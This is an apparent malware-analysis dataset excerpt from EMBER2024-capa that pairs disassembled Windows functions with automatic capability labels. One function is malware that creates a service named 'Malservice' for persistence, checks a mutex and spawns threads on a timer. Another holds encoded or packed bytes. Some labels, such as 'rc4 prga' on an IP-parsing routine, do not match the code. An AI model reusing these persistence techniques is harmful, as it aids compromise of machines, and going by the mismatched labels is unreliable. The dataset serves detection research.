joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4c9300
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, 4
push 0
push 0
dec ecx
jne 0x4c9309
xchg dword [ebp - 4], ecx
push ebx
push esi
push edi
mov byte [ebp - 5], cl
mov esi, edx
mov dword [ebp - 4], eax
mov ebx, dword [ebp + 8]
xor eax, eax
push ebp
push 0x4c94af
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.004c9648
xor eax, eax
push ebp
push 0x4c948d
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
test byte [eax + 0x1c], 8
je 0x4c9358
call fcn.00404620
jmp 0x4c9494
mov eax, dword [ebp - 4]
test byte [eax + 0x30], 8
je 0x4c941b
mov eax, dword [ebp - 4]
test byte [eax + 0x30], 1
je 0x4c93a9
mov eax, dword [ebp - 4]
cmp word [eax + 0x3a], 0
je 0x4c93a9
lea eax, [ebp - 0x10]
call fcn.004c90c4
push dword [ebp - 0x10]
push 0x4c94c8
push ebx
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404fd4
mov eax, dword [ebp - 0xc]
push eax
mov edi, dword [ebp - 4]
movzx ecx, byte [ebp - 5]
mov edx, esi
mov eax, dword [edi + 0x3c]
call dword [edi + 0x38]
mov eax, dword [ebp - 4]
test byte [eax + 0x30], 4
je 0x4c93de
lea eax, [ebp - 0x18]
call fcn.004c90c4
push dword [ebp - 0x18]
push 0x4c94c8
push ebx
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.00404fd4
mov eax, dword [ebp - 0x14]
call fcn.004050d0
push eax
call sub.kernel32.dll_OutputDebugStringA
mov eax, dword [ebp - 4]
test byte [eax + 0x30], 2
je 0x4c9477
lea eax, [ebp - 0x20]
call fcn.004c90c4
push dword [ebp - 0x20]
push 0x4c94c8
push ebx
push 0x4c94d4
lea eax, [ebp - 0x1c]
mov edx, 4
call fcn.00404fd4
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 4]
call fcn.004c92c8
jmp 0x4c9477
mov eax, dword [ebp - 4]
test byte [eax + 0x30], 1
je 0x4c943e
mov eax, dword [ebp - 4]
cmp word [eax + 0x3a], 0
je 0x4c943e
push ebx
mov edi, dword [ebp - 4]
movzx ecx, byte [ebp - 5]
mov edx, esi
mov eax, dword [edi + 0x3c]
call dword [edi + 0x38]
mov eax, dword [ebp - 4]
test byte [eax + 0x30], 4
je 0x4c9454
mov eax, ebx
call fcn.004050d0
push eax
call sub.kernel32.dll_OutputDebugStringA
mov eax, dword [ebp - 4]
test byte [eax + 0x30], 2
je 0x4c9477
lea eax, [ebp - 0x24]
mov ecx, 0x4c94d4
mov edx, ebx
call fcn.00404f58
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 4]
call fcn.004c92c8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4c9494
mov eax, dword [ebp - 4]
call fcn.004c9654
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4c94b6
lea eax, [ebp - 0x24]
mov edx, 7
call fcn.00404c64
ret
Function at 0x4cc224
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov esi, eax
mov byte [esp], 0
xor eax, eax
mov dword [esp + 4], eax
xor eax, eax
mov dword [esp + 8], eax
mov edi, 1
jmp 0x4cc245
inc edi
mov eax, esi
call fcn.00404f00
cmp edi, eax
jg 0x4cc257
cmp byte [esi + edi - 1], 0x20
je 0x4cc244
mov eax, esi
test eax, eax
je 0x4cc262
sub eax, 4
mov eax, dword [eax]
cmp eax, edi
jl 0x4cc324
cmp byte [esi + edi - 1], 0x2e
je 0x4cc348
jmp 0x4cc324
cmp byte [esi + edi - 1], 0x2e
jne 0x4cc2cc
inc dword [esp + 4]
cmp dword [esp + 4], 3
jg 0x4cc348
cmp dword [esp + 8], 0xff
jg 0x4cc348
xor eax, eax
mov dword [esp + 8], eax
mov ebp, esi
test ebp, ebp
je 0x4cc2b0
sub ebp, 4
mov ebp, dword [ebp]
cmp ebp, edi
jg 0x4cc2b8
mov bl, 1
jmp 0x4cc2c6
movzx eax, byte [esi + edi]
add al, 0xd0
sub al, 0xa
setb bl
xor bl, 1
test bl, bl
jne 0x4cc348
jmp 0x4cc323
movzx eax, byte [esi + edi - 1]
add al, 0xd0
sub al, 0xa
jae 0x4cc2f1
mov eax, dword [esp + 8]
add eax, eax
lea eax, [eax + eax*4]
movzx edx, byte [esi + edi - 1]
add eax, edx
sub eax, 0x30
mov dword [esp + 8], eax
jmp 0x4cc323
inc edi
mov eax, esi
call fcn.00404f00
cmp edi, eax
jg 0x4cc303
cmp byte [esi + edi - 1], 0x20
je 0x4cc2f0
mov dword [esp + 0xc], esi
cmp dword [esp + 0xc], 0
je 0x4cc31b
mov eax, dword [esp + 0xc]
sub eax, 4
mov eax, dword [eax]
mov dword [esp + 0xc], eax
cmp edi, dword [esp + 0xc]
jle 0x4cc348
jmp 0x4cc333
inc edi
mov eax, esi
call fcn.00404f00
cmp edi, eax
jle 0x4cc27a
cmp dword [esp + 4], 3
jne 0x4cc348
cmp dword [esp + 8], 0xff
jg 0x4cc348
mov byte [esp], 1
movzx eax, byte [esp]
add esp, 0x10
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x4dd52c
Capabilities:
Check os version

Disassembly:
push ebx
add esp, 0xffffff6c
mov dword [esp], 0x94
mov bl, 1
push esp
call sub.kernel32.dll_GetVersionExA
test eax, eax
je 0x4dd54e
cmp dword [esp + 4], 6
setae bl
mov eax, ebx
add esp, 0x94
pop ebx
ret

Function at 0x4dd558
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor ecx, ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004050c0
xor eax, eax
push ebp
push 0x4dd683
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.004dd52c
test al, al
je 0x4dd617
lea eax, [ebp - 0x10]
push eax
push 2
push 0
push 0x4dd690
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA_1
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4dd5b0
sub ebx, 4
mov ebx, dword [ebx]
inc ebx
push ebx
mov eax, dword [ebp - 4]
call fcn.004050d0
push eax
push 1
push 0
push 0x4dd6a8
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_RegSetValueExA
push 2
push 0x4dd6b4
push 1
push 0
push 0x4dd6b8
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_RegSetValueExA
push 2
push 0x4dd6c8
push 1
push 0
push 0x4dd6cc
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_RegSetValueExA
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_RegCloseKey_1
push 2
push 0
push 0
push 0x14
call fcn.00407b24
jmp 0x4dd65d
lea eax, [ebp - 8]
call fcn.004067b0
push eax
push 0x4e90d0
push 1
push 0
push 0x4e90c0
call fcn.00407de4
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 4]
call fcn.00405578
push 0
mov eax, dword [ebp - 0xc]
call fcn.00405588
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [eax]
call dword [eax + 0x14]
push 0xf
mov eax, dword [ebp - 8]
push eax
mov eax, dword [eax]
call dword [eax + 0xc]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4dd68a
lea eax, [ebp - 0xc]
call fcn.00405420
lea eax, [ebp - 8]
call fcn.004067b0
lea eax, [ebp - 4]
call fcn.00404c40
ret
Function at 0x4e209c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov eax, 0x4dfda0
call fcn.00406e64
xor eax, eax
push ebp
push 0x4e21b8
push dword fs:[eax]
mov dword fs:[eax], esp
push 1
call fcn.004dfc40
test eax, eax
je 0x4e2109
lea edx, [ebp - 0x14]
mov eax, 1
call fcn.00403294
mov eax, dword [ebp - 0x14]
mov edx, 0x4e21cc
call fcn.00405068
jne 0x4e20f9
mov eax, dword [0x4f1a60]
push eax
call sub.kernel32.dll_SetEvent
jmp 0x4e219d
mov eax, dword [0x4f1a64]
push eax
call sub.kernel32.dll_SetEvent
jmp 0x4e219d
mov eax, dword [0x4e97c4]
mov eax, dword [eax]
call fcn.00465a98
mov eax, dword [0x4e97c4]
mov eax, dword [eax]
mov edx, 0x4e21e0
call fcn.00465550
lea edx, [ebp - 0x18]
mov eax, 1
call fcn.00403294
mov eax, dword [ebp - 0x18]
mov edx, 0x4e2200
call fcn.00405068
setne al
mov edx, dword [0x4e97c4]
mov edx, dword [edx]
mov byte [edx + 0x5b], al
mov ecx, dword [0x4e9394]
mov eax, dword [0x4e97c4]
mov eax, dword [eax]
mov edx, dword [0x4ddc44]
call fcn.00465ab0
push 0x4f1a68
push 0
push 0
push fcn.004dfc40
push 0
push 0
call sub.kernel32.dll_CreateThread_1
mov dl, 1
mov eax, dword [0x4dd88c]
call fcn.004dda48
mov edx, dword [0x4e94b8]
mov dword [edx], eax
mov eax, dword [0x4e97c4]
mov eax, dword [eax]
call fcn.00465b30
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e21bf
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.00404c64
ret
Function at 0x401000
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x106ce84
push eax
push dword fs:[0]
mov dword fs:[0], esp
xor eax, eax
mov dword [eax], ecx
push eax
inc ebp
inc ebx
outsd dx, dword [esi]
insd dword es:[edi], dx
jo 0x401080
arpl word [edx + esi], si
adc bl, byte [ecx]
cli
cld
loop 0x401080
ja 0x401034
sar byte [edi - 0x67], 1
iretd
fsub dword [ecx - 0x72]
lodsd eax, dword [esi]
or byte [ebp + 0x6c], al
sub cl, cl
aas
call 0x94738029
push esp
push eax
xchg byte [ebp + 0x14], bh
sbb edi, ebp
jae 0x4010c2
or ebp, eax
sti
sub dword [esi + esi - 0x615f4d90], esi
jecxz 0x400fe0
cmp byte [ecx], al
xor al, 0xab
mov ah, 0xa6
add byte [esi - 0x39], ah
pop ds
int 0xa3
scasb al, byte es:[edi]
fisubr dword [0x9b62d4b9]
or al, 0
sub al, 0xf1
dec ebx
insd dword es:[edi], dx
push es
xchg byte [edx + 0x14], cl
sbb byte [ebx + ebp - 0x403889ee], 0x5d
cld
xor dl, byte [edi + 0x20]
cmp byte [edi - 0x40], bl
in eax, dx
cmp byte [esi + 0x28], bh
push edi
and byte [eax], bh
pop edi
shr ch, 0x38
jle 0x4010b1
sub ah, bl
fbstp tbyte [edx + 0x34]
invalid
invalid
sub ecx, dword [edi]
and eax, 0x999f97f0
ja 0x4010b9
invalid
ljmp 0xf1c4:0xcb4522e7
dec esp
les ebp, [edx + 0x7e822de5]
test byte [esp + edx*2 + 0x366e364c], bh
jbe 0x401088
dec ebp
out dx, eax
js 0x401141
cmp byte [ecx + 0x66], al
pop ecx
out 0xe4, eax
cmp byte [esi - 0x322cd151], bh
cmp esi, dword [esi - 0x638dfdf0]
ljmp 0x3f56
cmp byte [ebx], bh
adc edi, ecx
leave
xchg dword [edi + eax*4 - 0x61], esp
insd dword es:[edi], dx
mov dl, al
daa
pop esp
xor ah, dl
popfd
jae 0x401143
nop
ja 0x40119e
pop esi
imul ebp, dword [esi + 0x52617b87], 0x10
test byte [ebp + 0x6f92d4fa], cl
sub ebx, dword [ecx - 0x281c950f]
sbb esp, ebx
or byte [ebx + 0x5a], bl
test dword [ecx], esp
mov esp, 0x4b94bed3
adc esp, dword [eax]
imul esi, dword [edx*4 + 0x7d8f157e], 0x5ffb056e
jl 0x401141
xchg ebp, eax
mov ch, 0x98
test al, 0xef
mov ebp, 0x3778785f
js 0x4011fc
aaa
lahf
dec esp
jb 0x401149
adc bl, byte [ebp - 0x17]
bound ebp, qword [esi - 0x7c]
jo 0x4011d2
dec ecx
mov cl, 1
dec edx
loope 0x401217
rcr byte [eax - 0x42d8c09a], cl
bound edi, qword [ebx + 0x1f6c91b]
fadd dword [edx]
jp 0x401135
lea edx, [edx]
cmc
adc dh, ch
mov ebx, 0xd257ec40
mov byte [edi], dl
xchg dword [esi + 0x6963d001], ebp
or byte [ebx + 9], ch
js 0x4011ed
invalid
test byte [edi - 0x6c], ch
fcom qword [esi + 0x2991602e]
nop
mov eax, 0x9e7bb04b
mov cl, 0x72
and al, 0xd4
in al, 0x17
enter 0xb4b, 0x61
sbb bh, byte [eax - 0x37]
leave
fsub dword [ebp - 0x59]
pop ds
fiadd word [edx - 2]
xchg esp, eax
pop edx
mov al, 0x79
pop esi
outsb dx, byte [esi]
js 0x401182
jns 0x4011a7
insb byte es:[edi], dx
cmpsb byte [esi], byte es:[edi]
mov cl, 0xcb
movsd dword es:[edi], dword [esi]
cli
loope 0x40118c
pop eax
push esi
mov eax, 0xe48326bc
mov esi, 0x14b842c
cmpsb byte [esi], byte es:[edi]
mov gs, word [edi - 0x16]
xchg ecx, edi
hlt
outsd dx, dword [esi]
ljmp 0x287
Function at 0x401040
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Create service
Create thread
Persist via windows service
Terminate process

Disassembly:
sub esp, 0x400
push str.HGL345
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.DLL_OpenMutexA]
test eax, eax
je 0x401064
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
push esi
push str.HGL345
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
push 3
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
lea eax, [esp + 0x1c]
push 0x3e8
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x2c]
push 0
push ecx
push 0
push 2
push 0x10
push 2
push str.Malservice
push str.Malservice
push esi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
xor edx, edx
lea eax, [esp + 0x14]
mov dword [esp + 4], edx
lea ecx, [esp + 4]
mov dword [esp + 8], edx
push eax
mov dword [esp + 0x10], edx
push ecx
mov dword [esp + 0x18], edx
mov word [esp + 0xc], 0x834
call dword [sym.imp.KERNEL32.DLL_SystemTimeToFileTime]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateWaitableTimerA]
push 0
push 0
push 0
lea edx, [esp + 0x20]
mov esi, eax
push 0
push edx
push esi
call dword [sym.imp.KERNEL32.DLL_SetWaitableTimer]
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
test eax, eax
jne 0x40113f
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_CreateThread]
mov esi, 0x14
push 0
push 0
push 0
push 0x401150
push 0
push 0
call edi
dec esi
jne 0x401120
pop edi
xor eax, eax
pop esi
add esp, 0x400
ret
xor eax, eax
pop esi
add esp, 0x400
ret
Function at 0x408be4
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov edi, edx
mov esi, eax
mov ebp, dword [esi + 0x10]
mov eax, esi
call fcn.00408e80
mov byte [esp], al
cmp byte [esp], 0
jne 0x408d6e
test edi, edi
je 0x408d6e
mov byte [esp + 1], 0
test ebp, ebp
jle 0x408cae
call sub.kernel32.dll_GetTickCount
mov dword [esp + 4], eax
xor eax, eax
mov dword [esp + 0xc], eax
test ebp, ebp
jle 0x408c89
cmp edi, 0xffffffff
je 0x408c49
call sub.kernel32.dll_GetTickCount
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x408c49
mov byte [esp], 0
jmp 0x408d6e
mov ebx, dword [esi]
cmp ebx, 1
jg 0x408c89
test ebx, ebx
jne 0x408c7b
xor eax, eax
mov edx, 1
lock cmpxchg dword [esi], edx
test eax, eax
jne 0x408c7b
call sub.kernel32.dll_GetCurrentThreadId
mov dword [esi + 8], eax
mov dword [esi + 4], 1
mov byte [esp], 1
jmp 0x408d6e
lea eax, [esp + 0xc]
call fcn.00408978
dec ebp
test ebp, ebp
jg 0x408c2e
cmp edi, 0xffffffff
je 0x408cae
call sub.kernel32.dll_GetTickCount
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x408cac
mov byte [esp], 0
jmp 0x408d6e
sub edi, eax
mov ebx, dword [esi]
test ebx, ebx
je 0x408bf2
lea edx, [ebx + 2]
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x408cae
call sub.kernel32.dll_GetTickCount
mov dword [esp + 4], eax
mov eax, esi
call fcn.00408ddc
mov edx, eax
mov ebx, dword [0x4e18f8]
mov ecx, edi
xor eax, eax
call dword [ebx + 0x10]
test eax, eax
sete byte [esp]
cmp edi, 0xffffffff
je 0x408d12
call sub.kernel32.dll_GetTickCount
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
jbe 0x408d10
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
sub edi, eax
jmp 0x408d12
xor edi, edi
cmp byte [esp], 0
je 0x408d38
mov ebx, dword [esi]
test bl, 1
jne 0x408d4e
mov edx, ebx
sub edx, 2
or edx, 1
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x408d18
mov byte [esp + 1], 1
jmp 0x408d4e
mov ebx, dword [esi]
mov edx, ebx
sub edx, 2
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x408d38
mov byte [esp + 1], 1
cmp byte [esp + 1], 0
je 0x408cc5
cmp byte [esp], 0
je 0x408d6e
call sub.kernel32.dll_GetCurrentThreadId
mov dword [esi + 8], eax
mov dword [esi + 4], 1
movzx eax, byte [esp]
add esp, 0x10
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x4098ec
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x4e1058], 0
je 0x409953
cmp word [0x4e1344], 0xd7b2
jne 0x409915
cmp dword [0x4e134c], 0
jbe 0x409915
mov eax, 0x4e1340
call dword [0x4e135c]
push 0
lea eax, [esp + 4]
push eax
push 0x1d
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
mov eax, 0x409980
call fcn.0040a3c4
push eax
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x4dd02e], 0
jne 0x40996f
push 0
push 0x4dd9ba
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x40c104
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe98
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x160], ecx
mov dword [ebp - 0x164], ecx
mov dword [ebp - 0x168], ecx
mov dword [ebp - 4], edx
mov esi, eax
xor eax, eax
push ebp
push 0x40c269
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00409b88
cmp si, word [0x4dd9f8]
jb 0x40c19c
cmp si, word [0x4ddbf8]
ja 0x40c19c
mov edi, 0x40
xor eax, eax
mov dword [ebp - 8], eax
cmp edi, dword [ebp - 8]
jb 0x40c19c
mov ebx, edi
add ebx, dword [ebp - 8]
shr ebx, 1
cmp si, word [ebx*8 + 0x4dd9f8]
jae 0x40c176
mov edi, ebx
dec edi
jmp 0x40c197
cmp si, word [ebx*8 + 0x4dd9f8]
jbe 0x40c186
inc ebx
mov dword [ebp - 8], ebx
jmp 0x40c197
mov edx, dword [ebp - 4]
mov eax, dword [ebx*8 + 0x4dd9fc]
call fcn.0040c024
jmp 0x40c19c
cmp edi, dword [ebp - 8]
jae 0x40c160
mov eax, dword [ebp - 4]
cmp dword [eax], 0
jne 0x40c24b
push 2
movzx eax, si
push eax
call sub.kernel32.dll_IsValidLocale
test eax, eax
je 0x40c24b
push 0x55
lea eax, [ebp - 0xb2]
push eax
push 0x59
movzx ebx, si
push ebx
call sub.kernel32.dll_GetLocaleInfoW
push 0x55
lea eax, [ebp - 0x15c]
push eax
push 0x5a
push ebx
call sub.kernel32.dll_GetLocaleInfoW
lea eax, [ebp - 0x160]
lea edx, [ebp - 0xb2]
mov ecx, 0x55
call fcn.0040a764
push dword [ebp - 0x160]
push 0x40c284
lea eax, [ebp - 0x164]
lea edx, [ebp - 0x15c]
mov ecx, 0x55
call fcn.0040a764
push dword [ebp - 0x164]
push 0x40c294
lea eax, [ebp - 0x168]
lea edx, [ebp - 0xb2]
mov ecx, 0x55
call fcn.0040a764
push dword [ebp - 0x168]
mov eax, dword [ebp - 4]
mov edx, 5
call fcn.0040a99c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c270
lea eax, [ebp - 0x168]
mov edx, 3
call fcn.00409be8
ret
Function at 0x40c41c
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40c520
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x4e3b88
call sub.kernel32.dll_EnterCriticalSection
cmp bx, word [0x4e3ba0]
jne 0x40c468
mov eax, esi
mov edx, 0x4e3ba2
mov ecx, 0x55
call fcn.0040a764
push 0x4e3b88
call sub.kernel32.dll_LeaveCriticalSection
jmp 0x40c50a
push 0x4e3b88
call sub.kernel32.dll_LeaveCriticalSection
mov eax, esi
call fcn.00409b88
push 2
movzx eax, bx
push eax
call sub.kernel32.dll_IsValidLocale
test eax, eax
je 0x40c4d7
cmp byte [0x4e3b84], 0
je 0x40c49c
mov edx, esi
mov eax, ebx
call fcn.0040c300
jmp 0x40c4d7
mov edx, esi
mov eax, ebx
call fcn.0040c104
call sub.kernel32.dll_GetSystemDefaultUILanguage
cmp bx, ax
je 0x40c4d7
cmp dword [esi], 0
je 0x40c4c0
mov eax, esi
mov edx, 0x40c538
call fcn.0040a8bc
call sub.kernel32.dll_GetSystemDefaultUILanguage
lea edx, [ebp - 4]
call fcn.0040c104
mov edx, dword [ebp - 4]
mov eax, esi
call fcn.0040a8bc
push 0x4e3b88
call sub.kernel32.dll_EnterCriticalSection
mov word [0x4e3ba0], bx
mov eax, dword [esi]
call fcn.0040a6c0
mov ecx, eax
mov eax, 0x4e3ba2
mov edx, 0xaa
call fcn.0040bf84
push 0x4e3b88
call sub.kernel32.dll_LeaveCriticalSection
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c527
lea eax, [ebp - 4]
call fcn.00409b88
ret
Function at 0x40c750
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde4
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00409c6c
xor eax, eax
push ebp
push 0x40c975
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 4], 0
jne 0x40c790
push 0x105
lea eax, [ebp - 0x21a]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameW
jmp 0x40c7aa
mov eax, dword [ebp - 4]
call fcn.0040a6c0
mov ecx, eax
lea eax, [ebp - 0x21a]
mov edx, 0x105
call fcn.0040bf84
cmp word [ebp - 0x21a], 0
je 0x40c95f
xor eax, eax
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x40c984
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x40c879
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x40c984
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x40c879
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x40c9c0
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x40c879
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x40c9c0
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x40c879
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x40c9f4
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x40c879
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x40ca28
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
jne 0x40c95f
xor eax, eax
push ebp
push 0x40c958
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x21a]
mov edx, 0x105
call fcn.0040c560
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x21a]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0x40c8e8
mov eax, dword [ebp - 0x10]
call fcn.004066b4
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
push eax
push 0
push 0
lea eax, [ebp - 0x21a]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
mov eax, ebx
mov edx, dword [ebp - 8]
call fcn.0040a728
jmp 0x40c933
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0
push 0x40ca68
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0x40c933
mov eax, dword [ebp - 0x10]
call fcn.004066b4
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
push eax
push 0
push 0
push 0x40ca68
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
mov eax, ebx
mov edx, dword [ebp - 8]
call fcn.0040a728
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c95f
cmp dword [ebp - 8], 0
je 0x40c94e
mov eax, dword [ebp - 8]
call fcn.004066d0
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c97c
lea eax, [ebp - 4]
call fcn.00409b88
ret